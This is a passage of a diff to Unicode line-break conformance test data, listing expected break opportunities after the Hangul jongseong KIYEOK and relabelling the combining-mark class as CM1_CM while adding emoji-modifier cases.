× 11A8 ÷ AC01 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 11A8 × 0020 ÷ AC01 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 11A8 × 0308 ÷ AC01 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 11A8 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 11A8 × 0308 ÷ AC01 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 11A8 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 11A8 ÷ 05D0 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 11A8 × 0020 ÷ 05D0 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 11A8 × 0308 ÷ 05D0 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 11A8 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 11A8 × 0308 ÷ 05D0 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 11A8 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 11A8 × 002D ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
× 11A8 × 0020 ÷ 002D ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 11A8 × 0308 × 002D ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
-× 11A8 × 0308 × 0020 ÷ 002D ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 11A8 × 0308 × 002D ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 11A8 × 0308 × 0020 ÷ 002D ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 11A8 ÷ 231A ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) ÷ [999.0] WATCH (ID) ÷ [0.3]
× 11A8 × 0020 ÷ 231A ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
-× 11A8 × 0308 ÷ 231A ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
-× 11A8 × 0308 × 0020 ÷ 231A ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 11A8 × 0308 ÷ 231A ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
+× 11A8 × 0308 × 0020 ÷ 231A ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
× 11A8 × 2024 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [27.01] ONE DOT LEADER (IN) ÷ [0.3]
× 11A8 × 0020 ÷ 2024 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 11A8 × 0308 × 2024 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [27.01] ONE DOT LEADER (IN) ÷ [0.3]
-× 11A8 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 11A8 × 0308 × 2024 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [27.01] ONE DOT LEADER (IN) ÷ [0.3]
+× 11A8 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
× 11A8 × 002C ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [13.02] COMMA (IS) ÷ [0.3]
× 11A8 × 0020 × 002C ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× 11A8 × 0308 × 002C ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [13.03] COMMA (IS) ÷ [0.3]
-× 11A8 × 0308 × 0020 × 002C ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 11A8 × 0308 × 002C ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] COMMA (IS) ÷ [0.3]
+× 11A8 × 0308 × 0020 × 002C ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× 11A8 ÷ 1100 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 11A8 × 0020 ÷ 1100 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 11A8 × 0308 ÷ 1100 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 11A8 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 11A8 × 0308 ÷ 1100 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 11A8 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 11A8 × 11A8 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [26.03] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 11A8 × 0020 ÷ 11A8 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 11A8 × 0308 × 11A8 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [26.03] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 11A8 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 11A8 × 0308 × 11A8 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [26.03] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 11A8 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 11A8 ÷ 1160 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 11A8 × 0020 ÷ 1160 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 11A8 × 0308 ÷ 1160 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 11A8 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 11A8 × 0308 ÷ 1160 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 11A8 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 11A8 × 000A ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 11A8 × 0020 × 000A ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 11A8 × 0308 × 000A ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 11A8 × 0308 × 0020 × 000A ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 11A8 × 0308 × 000A ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 11A8 × 0308 × 0020 × 000A ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 11A8 × 0085 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 11A8 × 0020 × 0085 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 11A8 × 0308 × 0085 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 11A8 × 0308 × 0020 × 0085 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 11A8 × 0308 × 0085 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 11A8 × 0308 × 0020 × 0085 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 11A8 × 17D6 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 11A8 × 0020 ÷ 17D6 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 11A8 × 0308 × 17D6 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 11A8 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 11A8 × 0308 × 17D6 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 11A8 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 11A8 ÷ 0030 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
× 11A8 × 0020 ÷ 0030 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
-× 11A8 × 0308 ÷ 0030 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
-× 11A8 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 11A8 × 0308 ÷ 0030 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
+× 11A8 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
× 11A8 ÷ 0028 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 11A8 × 0020 ÷ 0028 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 11A8 × 0308 ÷ 0028 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 11A8 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 11A8 × 0308 ÷ 0028 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 11A8 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 11A8 × 0025 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [27.02] PERCENT SIGN (PO) ÷ [0.3]
× 11A8 × 0020 ÷ 0025 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 11A8 × 0308 × 0025 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [27.02] PERCENT SIGN (PO) ÷ [0.3]
-× 11A8 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 11A8 × 0308 × 0025 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [27.02] PERCENT SIGN (PO) ÷ [0.3]
+× 11A8 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
× 11A8 ÷ 0024 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
× 11A8 × 0020 ÷ 0024 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 11A8 × 0308 ÷ 0024 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 11A8 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 11A8 × 0308 ÷ 0024 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 11A8 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
× 11A8 × 0022 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
× 11A8 × 0020 ÷ 0022 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
-× 11A8 × 0308 × 0022 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
-× 11A8 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 11A8 × 0308 × 0022 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 11A8 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
× 11A8 × 0020 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) ÷ [0.3]
× 11A8 × 0020 × 0020 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
-× 11A8 × 0308 × 0020 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× 11A8 × 0308 × 0020 × 0020 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 11A8 × 0308 × 0020 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 11A8 × 0308 × 0020 × 0020 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× 11A8 × 002F ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 11A8 × 0020 × 002F ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
-× 11A8 × 0308 × 002F ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
-× 11A8 × 0308 × 0020 × 002F ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 11A8 × 0308 × 002F ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
+× 11A8 × 0308 × 0020 × 002F ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 11A8 × 2060 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 11A8 × 0020 × 2060 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 11A8 × 0308 × 2060 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 11A8 × 0308 × 0020 × 2060 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 11A8 × 0308 × 2060 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 11A8 × 0308 × 0020 × 2060 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 11A8 × 200B ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 11A8 × 0020 × 200B ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 11A8 × 0308 × 200B ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 11A8 × 0308 × 0020 × 200B ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 11A8 × 0308 × 200B ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 11A8 × 0308 × 0020 × 200B ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 11A8 ÷ 1F1E6 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
× 11A8 × 0020 ÷ 1F1E6 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 11A8 × 0308 ÷ 1F1E6 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 11A8 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 11A8 × 0308 ÷ 1F1E6 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 11A8 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 11A8 ÷ 261D ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 11A8 × 0020 ÷ 261D ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 11A8 × 0308 ÷ 261D ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 11A8 × 0308 × 0020 ÷ 261D ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 11A8 ÷ 1F3FB ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 11A8 × 0020 ÷ 1F3FB ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
